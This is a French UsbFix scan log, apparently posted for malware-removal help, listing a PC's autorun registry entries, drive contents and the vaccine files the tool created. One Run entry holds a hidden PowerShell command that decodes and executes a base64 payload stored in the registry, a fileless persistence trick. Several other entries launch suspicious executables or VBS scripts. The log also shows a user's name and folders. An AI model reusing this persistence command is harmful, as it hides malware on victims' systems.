04 - HKLM\..\Run : [HPUsageTrackingLEDM] "C:\Program Files (x86)\HP\HP UT LEDM\bin\hppusg.exe" "C:\Program Files (x86)\HP\HP UT LEDM\"
04 - HKLM\..\Run : [{2EB25CE5-0F84-4B65-AFB4-4360BECDEDC1}] "C:\Program Files (x86)\Airtel Internet\UUShell.exe" /CallBySystem
04 - HKLM\..\Run : [CancelAutoPlay] "C:\Program Files (x86)\Airtel Internet\CancelAutoPlay.exe" run
04 - HKLM\..\Run : [HP Software Update] C:\Program Files (x86)\Hp\HP Software Update\HPWuSchd2.exe
04 - HKLM\..\Policies\Explorer\run : [1811855875] C:\ProgramData\mscne.exe
04 - [x64] HKLM\..\Run : [SynTPEnh] %ProgramFiles%\Synaptics\SynTP\SynTPEnh.exe
04 - [x64] HKLM\..\Run : [SmartMenu] C:\Program Files\Hewlett-Packard\HP MediaSmart\SmartMenu.exe /background
04 - [x64] HKLM\..\Run : [SunJavaUpdateSched] "C:\Program Files\Java\jre6\bin\jusched.exe"
04 - [x64] HKLM\..\Run : [IgfxTray] C:\Windows\system32\igfxtray.exe
04 - [x64] HKLM\..\Run : [HotKeysCmds] C:\Windows\system32\hkcmd.exe
04 - [x64] HKLM\..\Run : [Persistence] C:\Windows\system32\igfxpers.exe
04 - [x64] HKLM\..\Run : [SysTrayApp] C:\Program Files\IDT\WDM\sttray64.exe
04 - [x64] HKLM\..\Run : [VDownloader] C:\Program Files\VDownloader\VDownloader.exe /silent
04 - [x64] HKLM\..\Policies\Explorer\run : [1811855875] C:\ProgramData\mscne.exe
04 - HKU\S-1-5-19\..\Run : [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun
04 - HKU\S-1-5-20\..\Run : [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [LightScribe Control Panel] C:\Program Files (x86)\Common Files\LightScribe\LightScribeControlPanel.exe -hidden
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [Messenger (Yahoo!)] "C:\PROGRA~2\Yahoo!\MESSEN~1\YahooMessenger.exe" -quiet
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [Gestionnaire Antidote.exe] C:\Program Files (x86)\Druide\Antidote\Gestionnaire Antidote.exe
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [swg] "C:\Program Files (x86)\Google\GoogleToolbarNotifier\GoogleToolbarNotifier.exe"
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [EPSON Stylus CX4400 Series] C:\Windows\system32\spool\DRIVERS\x64\3\E_IATICAA.EXE /FU "C:\Users\ANGELE~1\AppData\Local\Temp\E_SED0C.tmp" /EF "HKCU"
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [SuperCopier2.exe] C:\Program Files (x86)\SuperCopier2\SuperCopier2.exe
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [Search Protection] C:\Program Files (x86)\Yahoo!\Search Protection\SearchProtection.exe
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [PhotoJoy] C:\Program Files (x86)\PhotoJoy\bin\PhotoJoy.exe /c
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [msnmsgr] "C:\Program Files (x86)\Windows Live\Messenger\msnmsgr.exe" /background
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [KiesHelper] C:\Program Files (x86)\Samsung\Kies\KiesHelper.exe /s
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [KiesTrayAgent] C:\Program Files (x86)\Samsung\Kies\KiesTrayAgent.exe
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [KiesPDLR] C:\Program Files (x86)\Samsung\Kies\External\FirmwareUpdate\KiesPDLR.exe
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [SDP] C:\Program Files (x86)\FilesFrog Update Checker\update_checker.exe /auto
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [feielo] C:\Users\Angele OUIYA\feielo.exe /H
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [Advanced Woman Calendar] "C:\Program Files (x86)\Advanced Woman Calendar\WomanCalendar.exe" -m
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [IDMan] C:\Program Files (x86)\Internet Download Manager\IDMan.exe /onboot
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [Skype] "C:\Program Files (x86)\Skype\Phone\Skype.exe" /minimized /regrun
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [updat] wscript.exe //B "C:\Users\ANGELE~1\AppData\Local\Temp\updat.vbs"
04 - HKU\S-1-5-21-2110722252-3502127745-55028577-1001\..\Run : [{E4F9986F-B279-4A88-8BA9-18D76F2CF6B9}] C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\eRclLYcr').UDKIAXPSU)));
04 - HKU\S-1-5-18\..\Run : [Gestionnaire Antidote.exe] C:\Program Files (x86)\Druide\Antidote\Gestionnaire Antidote.exe
04 - HKU\S-1-5-19\..\RunOnce : [mctadmin] C:\Windows\System32\mctadmin.exe
04 - HKU\S-1-5-20\..\RunOnce : [mctadmin] C:\Windows\System32\mctadmin.exe
[b]################## | UsbFix - Information |[/b]
Info : [url=https://www.youtube.com/watch?v=vUZYYASd7FE]Comment supprimer l'infection des raccourcis sur USB ? (Video)[/url]
Info : [url=http://www.en.usbfix.net/2014/03/remove-shortcut-virus-usb/]L'infection des raccourcis USB, c'est quoi ?[/url]
[b]################## | Hijack |[/b]
Restauré! [D] H:\
[b]################## | C:\ %SystemDrive% - Disque Fixe (NTFS) |[/b]
[07/11/2007 - 08:00:40 | A | 17 Ko] - C:\eula.1040.txt
[07/11/2007 - 08:00:40 | A | 17 Ko] - C:\eula.1036.txt
[07/11/2007 - 08:00:40 | A | 10 Ko] - C:\eula.1033.txt
[07/11/2007 - 08:00:40 | A | 17 Ko] - C:\eula.3082.txt
[07/11/2007 - 08:00:40 | A | 17 Ko] - C:\eula.2052.txt
[07/11/2007 - 08:00:40 | A | 17 Ko] - C:\eula.1031.txt
[07/11/2007 - 08:00:40 | A | 17 Ko] - C:\eula.1028.txt
[07/11/2007 - 08:00:40 | A | 17 Ko] - C:\eula.1042.txt
[07/11/2007 - 08:00:40 | A | 0 Ko] - C:\eula.1041.txt
[14/02/2017 - 20:51:20 | ASH | 3071376 Ko] - C:\hiberfil.sys
[27/09/2016 - 12:52:14 | D] - C:\SYSTEM.SAV
[10/08/2010 - 19:32:53 | N | 512 Ko] - C:\ntuser.dat{344044e6-a453-11df-bda5-b41864248d30}.TMContainer00000000000000000001.regtrans-ms
[10/08/2010 - 19:32:53 | N | 512 Ko] - C:\ntuser.dat{344044e6-a453-11df-bda5-b41864248d30}.TMContainer00000000000000000002.regtrans-ms
[07/11/2007 - 08:12:28 | A | 228 Ko] - C:\VC_RED.MSI
[11/02/2017 - 23:48:24 | D] - C:\Config.Msi
[10/08/2010 - 19:32:51 | N | 0 Ko] - C:\ntuser.dat.LOG2
[10/08/2010 - 19:32:51 | N | 5 Ko] - C:\ntuser.dat.LOG1
[02/03/2010 - 00:16:40 | A | 0 Ko] - C:\hpqlb.log
[25/10/2011 - 14:08:25 | A | 21 Ko] - C:\M1319.log
[10/01/2013 - 14:26:09 | A | 2 Ko] - C:\MPUsbSIn.log
[09/12/2011 - 20:44:57 | A | 0 Ko] - C:\user.js
[07/11/2007 - 08:00:40 | A | 1 Ko] - C:\globdata.ini
[07/11/2007 - 08:00:40 | A | 1 Ko] - C:\install.ini
[07/11/2007 - 08:03:18 | A | 550 Ko] - C:\install.exe
[07/11/2007 - 08:03:18 | A | 78 Ko] - C:\install.res.1042.dll
[07/11/2007 - 08:03:18 | A | 80 Ko] - C:\install.res.1041.dll
[07/11/2007 - 08:03:18 | A | 95 Ko] - C:\install.res.1036.dll
[07/11/2007 - 08:03:18 | A | 74 Ko] - C:\install.res.2052.dll
[07/11/2007 - 08:03:18 | A | 93 Ko] - C:\install.res.1040.dll
[07/11/2007 - 08:03:18 | A | 75 Ko] - C:\install.res.1028.dll
[07/11/2007 - 08:03:18 | A | 94 Ko] - C:\install.res.1031.dll
[07/11/2007 - 08:03:18 | A | 89 Ko] - C:\install.res.1033.dll
[07/11/2007 - 08:03:18 | A | 94 Ko] - C:\install.res.3082.dll
[10/08/2010 - 19:32:52 | A | 256 Ko] - C:\ntuser.dat
[07/11/2007 - 08:09:22 | A | 1409 Ko] - C:\VC_RED.cab
[07/11/2007 - 08:00:40 | A | 6 Ko] - C:\vcredist.bmp
[10/08/2010 - 19:32:53 | N | 64 Ko] - C:\ntuser.dat{344044e6-a453-11df-bda5-b41864248d30}.TM.blf
[27/01/2010 - 01:30:18 | SHD] - C:\$Recycle.Bin
[05/11/2014 - 20:15:11 | A | 1 Ko] - C:\PhysicalDisk0_MBR.bin
[19/04/2016 - 10:30:18 | SHD] - C:\found.000
[30/06/2016 - 10:54:15 | D] - C:\$WINDOWS.~BT
[14/07/2009 - 01:38:58 | RASH | 375 Ko] - C:\bootmgr
[14/07/2009 - 03:20:08 | D] - C:\PerfLogs
[14/07/2009 - 05:08:56 | SHD] - C:\Documents and Settings
[21/08/2009 - 08:43:18 | SHD] - C:\boot
[10/01/2010 - 10:24:43 | SHD] - C:\Recovery
[17/01/2010 - 19:27:15 | RHD] - C:\MSOCache
[02/12/2010 - 12:22:19 | D] - C:\inetpub
[23/11/2015 - 05:12:27 | RD] - C:\Users
[05/12/2015 - 11:00:45 | D] - C:\Program Files
[05/04/2016 - 12:52:58 | D] - C:\5d14a833c9b2624aa7a64468a686
[01/07/2016 - 17:48:50 | D] - C:\efe55e20beedf3d6de4346bc59c7323a
[07/08/2016 - 14:20:58 | D] - C:\Windows
[27/09/2016 - 12:52:10 | D] - C:\downloads
[27/09/2016 - 12:52:10 | D] - C:\epson
[27/09/2016 - 12:52:10 | D] - C:\Hewlett-Packard
[27/09/2016 - 12:52:11 | D] - C:\HP
[27/09/2016 - 12:52:12 | D] - C:\Intel
[27/09/2016 - 12:52:12 | D] - C:\logs
[27/09/2016 - 12:52:12 | D] - C:\Microprocesseur MPLAB Project
[27/09/2016 - 12:52:12 | D] - C:\MININT
[27/09/2016 - 12:52:12 | D] - C:\Multisim 2011
[27/09/2016 - 12:52:13 | D] - C:\SwSetup
[27/09/2016 - 12:52:14 | D] - C:\temp
[27/09/2016 - 16:21:08 | D] - C:\Google
[27/09/2016 - 17:34:24 | D] - C:\win
[27/10/2016 - 17:57:43 | SHD] - C:\System Volume Information
[18/12/2016 - 12:17:33 | D] - C:\Program Files (x86)
[14/02/2017 - 22:50:15 | D] - C:\UsbFix
[14/02/2017 - 22:50:37 | HD] - C:\ProgramData
[b]################## | D:\ - Disque Fixe (NTFS) |[/b]
[27/02/2012 - 23:04:54 | A | 0 Ko] - D:\HPSF_Rep.txt
[27/09/2016 - 12:52:17 | D] - D:\system.sav
[25/08/2009 - 08:47:38 | N | 0 Ko] - D:\RPCONFIG.LOG
[25/08/2009 - 08:47:43 | N | 11 Ko] - D:\DeployRp.log
[10/01/2010 - 10:35:34 | N | 0 Ko] - D:\language.ini
[10/01/2010 - 10:35:34 | N | 0 Ko] - D:\BT_HP.FLG
[25/08/2009 - 08:38:29 | N | 0 Ko] - D:\CSP.DAT
[10/01/2010 - 10:35:23 | N | 0 Ko] - D:\HP_WSD.dat
[27/01/2010 - 01:30:18 | SHD] - D:\$RECYCLE.BIN
[14/07/2009 - 18:39:00 | ASH | 375 Ko] - D:\bootmgr
[18/02/2014 - 15:40:21 | SHD] - D:\System Volume Information
[27/09/2016 - 12:52:16 | SHD] - D:\boot
[27/09/2016 - 12:52:16 | D] - D:\hp
[27/09/2016 - 12:52:16 | SHD] - D:\preload
[27/09/2016 - 12:52:16 | SD] - D:\Recovery
[b]################## | F:\ - Disque Fixe (NTFS) |[/b]
[14/02/2017 - 20:51:22 | ASH | 4095168 Ko] - F:\pagefile.sys
[27/01/2010 - 01:30:18 | SHD] - F:\$RECYCLE.BIN
[27/01/2010 - 01:22:17 | SHD] - F:\System Volume Information
[b]################## | G:\ - Disque Fixe (NTFS) |[/b]
[17/04/2010 - 23:55:39 | A | 4999 Ko] - G:\MP515_525_575-fr.pdf
[15/12/2010 - 15:29:06 | A | 26 Ko] - G:\Circuit1 essai.ms8
[15/11/2015 - 14:37:43 | A | 104 Ko] - G:\Mes documents_2.htm
[23/03/2010 - 23:34:54 | A | 346 Ko] - G:\projet 2ème annee composant bon mechanical layer.ewprj (Security copy)
[19/04/2010 - 13:14:04 | A | 346 Ko] - G:\projet 2ème annee composant bon mechanical layer.ewprj
[30/01/2010 - 07:48:05 | A | 25 Ko] - G:\Pour ouvrir le Centre réseau et partage.docx
[30/01/2010 - 08:02:33 | A | 12 Ko] - G:\Médecine et santé.docx
[02/04/2010 - 17:22:10 | A | 12 Ko] - G:\La présentation power point.docx
[19/04/2010 - 21:02:38 | A | 4148 Ko] - G:\Manuel FM transmitter.doc
[31/01/2010 - 16:30:10 | D] - G:\$RECYCLE.BIN
[18/02/2014 - 15:40:21 | SHD] - G:\System Volume Information
[27/09/2016 - 12:52:18 | D] - G:\ANGELE
[27/09/2016 - 12:52:18 | D] - G:\Angèle
[27/09/2016 - 12:52:18 | D] - G:\Contenu disque amovible
[27/09/2016 - 12:52:18 | D] - G:\DSpeech French Pack
[27/09/2016 - 12:52:19 | D] - G:\Ma musique
[27/09/2016 - 12:52:19 | D] - G:\Mes images
[27/09/2016 - 12:52:19 | D] - G:\Mplab
[27/09/2016 - 12:52:20 | D] - G:\My Music
[27/09/2016 - 12:52:20 | D] - G:\Programme Ultiboard et multisim 8
[05/12/2016 - 10:40:37 | D] - G:\Mes videos
[12/02/2017 - 11:29:00 | D] - G:\Mes documents
[b]################## | H:\ - Disque USB (FAT32) |[/b]
[26/06/2016 - 14:36:46 | SHD] - H:\System Volume Information
[20/10/2016 - 07:46:02 | D] - H:\
[13/02/2017 - 00:34:58 | D] - H:\Les objectifs pédagogiques
[b]################## | Vaccin |[/b]
C:\Autorun.inf -> Vaccin créé par UsbFix (El Desaparecido)
D:\Autorun.inf -> Vaccin créé par UsbFix (El Desaparecido)
F:\Autorun.inf -> Vaccin créé par UsbFix (El Desaparecido)
G:\Autorun.inf -> Vaccin créé par UsbFix (El Desaparecido)
H:\Autorun.inf -> Vaccin créé par UsbFix (El Desaparecido)
[b]################## | E.O.F | [url=http://www.sosvirus.net/]http://www.sosvirus.net/[/url] | [url=http://www.usbfix.net/]http://www.usbfix.net/[/url] |[/b]